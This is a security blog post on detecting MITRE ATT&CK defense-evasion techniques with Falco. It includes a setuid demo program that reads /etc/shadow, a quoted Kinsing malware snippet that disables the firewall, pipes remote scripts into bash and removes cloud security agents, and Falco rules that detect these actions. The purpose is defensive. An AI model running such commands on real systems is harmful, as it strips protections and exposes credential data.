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Detecting MITRE ATT&CK: Defense evasion techniques with Falco

BY KAIZHE HUANG - FEBRUARY 2, 2021

TOPICS: <u>COMPLIANCE</u>, <u>KUBERNETES & CONTAINER SECURITY</u>, <u>OPEN SOURCE</u>



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The **detense evasion** category inside **MITRE ATT&CK** covers several techniques an attacker can use to avoid getting caught. Familiarizing yourself with these techniques will help secure your infrastructure.

MITRE ATT&CK is a comprehensive knowledge base that analyzes all of the tactics, techniques, and procedures (TTPs) that advanced threat actors could

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In this article, we will walk through a few techniques that can be classified as MITRE defense evasion. We'll also provide examples of how an open-source tool like Falco can help you detect these container security attacks.

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MITRE category: Defense evasion

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Sometimes these actions are just variations of techniques in other categories, modified to have the added benefit of subverting a particular defense or mitigation.

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Hands on with defense evasion

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we'll look for some insights that will help us detect them.

Abuse elevation control mechanism: setuid and setgid

In modern operating systems, processes run under a user space with limited permissions. However, they include mechanisms to elevate privileges when it's time to install an application, open a port, or run other administrative tasks.

Attackers can <u>abuse these elevation control mechanisms</u> to run code as administrators and access to private information.

In Linux, part of this mechanism is handled with the setuid bit and the setgid bit of a file. By default, when a file is executed it runs under the current users' context. However, if the setuid bit is set in the file, then the file will be executed under the

file owner's context

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the user accounts in the system.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
```

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```
if (fp == NULL) {
    printf("Cannot open file '/etc/shadow'\n");
    exit(0);
}
while (fgets(line, sizeof(line), fp)) {
    printf("%s", line);
}
fclose(fp);
return 0;
}
```

Now, let's compile this code, set root as the owner for the resulting binary, and allow other users to execute it.

What will happen if we run this program with and without the setuid bit set?

When the setuid bit is not set (note the -rwx permissions on the file):

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Reading the /etc/shadow file fails.

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Running the program as the current user (ubuntu) is now a success:

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We can draw a quick conclusion here: **You should remove the unnecessary setuid bit from files owned by high privilege users**.

Impair defenses: Disable or modify tools

Once an attacker gets access into the victim's environment, before they start probing the environment too much, it will try to disable security tools so that they may not be blocked or caught.

We can take our recent research of the <u>kinsing attack</u> as an example. There, we noticed such a pattern inside the malicious payload:

```
# Disable firewall
ufw disable
```

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```
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service
```

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This code snippet is part of the Kinsing payload, and we added comments to make it easier to follow.

We can see how the attacker tried to disable the firewall, flushed the iptables rules, and disabled SELinux, AppArmor, and the security agents from Ali Cloud. The script will succeed if the attacker managed to acquire root privileges when they hacked into the environment, as the operations above usually require admin privileges.

This may be easier than you think. As we saw in our latest annual container security and usage report, **56% of container images are running as root**. If the attacker successfully jail broke from a container running as root, they already have the privileges to disable security tools running on the host.

Disabling security tools is common during the maintenance of environments with restricted access. However, it is uncommon in an operational production

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Now that we know what threats we are facing, we can start defending against them.

You can cover some attack entry points in advance. With <u>image scanning</u>, you can check your images for things like unnecessary open ports, images running as root,

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Falco is the CNCF open-source project for runtime threat detection for containers and Kubernetes. It is a <u>container security</u> tool designed to **detect anomalous activity** in your containers. Falco taps into system calls to generate an event stream of all system activity. Falco's rules engine then allows you to create rules based on this event stream, allowing you to alert on system events that seem abnormal. Falco's rich language allows you to write rules at the host level and identify suspicious activity.

Let's follow up on our previous examples, and see how you can detect defense evasion with Falco.

Detect setuid bit or setgid bit changes of a file

As we covered earlier, once the setuid bit or setgid bit is set in a file, that file will be executed with the owner's privilege

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tind . -perm /6000

But what if the file permissions change during runtime?

You can use the following Falco rule to detect such a scenario:

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```
group respectively.
    Detect setuid or setgid bits set via chmod
  condition: >
    consider_all_chmods and chmod and (evt.arg.mode contains "S_ISUID" or evt.arg.mode
contains "S_ISGID")
    and not proc.name in (user known chmod applications)
    and not exe running docker save
    and not user_known_set_setuid_or_setgid_bit_conditions
  output: >
    Setuid or setgid bit is set via chmod (fd=%evt.arg.fd filename=%evt.arg.filename
mode=%evt.arg.mode user=%user.name user_loginuid=%user.loginuid process=%proc.name
    command=%proc.cmdline container_id=%container.id container_name=%container.name
image=%container.image.repository:%container.image.tag)
  priority:
    NOTICE
  tags: [process, mitre_persistence]
```

And once there is an attempt to add the setuid bit or setgid bit to a file, an alert will be generated:

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Going back to the Kinsing attack, we saw how attackers will try to disable security tools for the purpose of not being blocked or caught.

Here is the Falco rule that detects such behavior:

```
    macro: disable_apparmor
        condition: (proc.name in (systemctl, service) and (proc.cmdline contains "disable" or
        proc.cmdline contains \"stop\") and (proc.cmdline contains "apparmor"))
    macro: disable_selinux
        condition: (proc.cmdline = "setenforce 0")
    macro: disable_ufw
        condition: (proc.name=ufw and proc.cmdline contains "disable")
    rule: Disable Security Tools
        desc: Detect an attempt to disable security tools like ufw, AppArmor, SELinux
        condition: spawned_process and (disable_apparmor or disable_selinux or disable_ufw)
        output: Security tool is disabled (user=%user.name user_loginuid=%user.loginuid
        command=%proc.cmdline parent_process=%proc.pname container_id=%container.id
        image=%container.image.repository:%container.image.tag)
```

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syscalls and K8s audit logs to detect intrusions and malicious activity. By mapping Falco rules to the MITRE ATT&CK Defense Evasion category, security teams can streamline their threat detection and response workflows.

To learn more about Falco, please check out the <u>Falco repo</u> and <u>Falco website</u>, or join our CNCF Falco slack channel.

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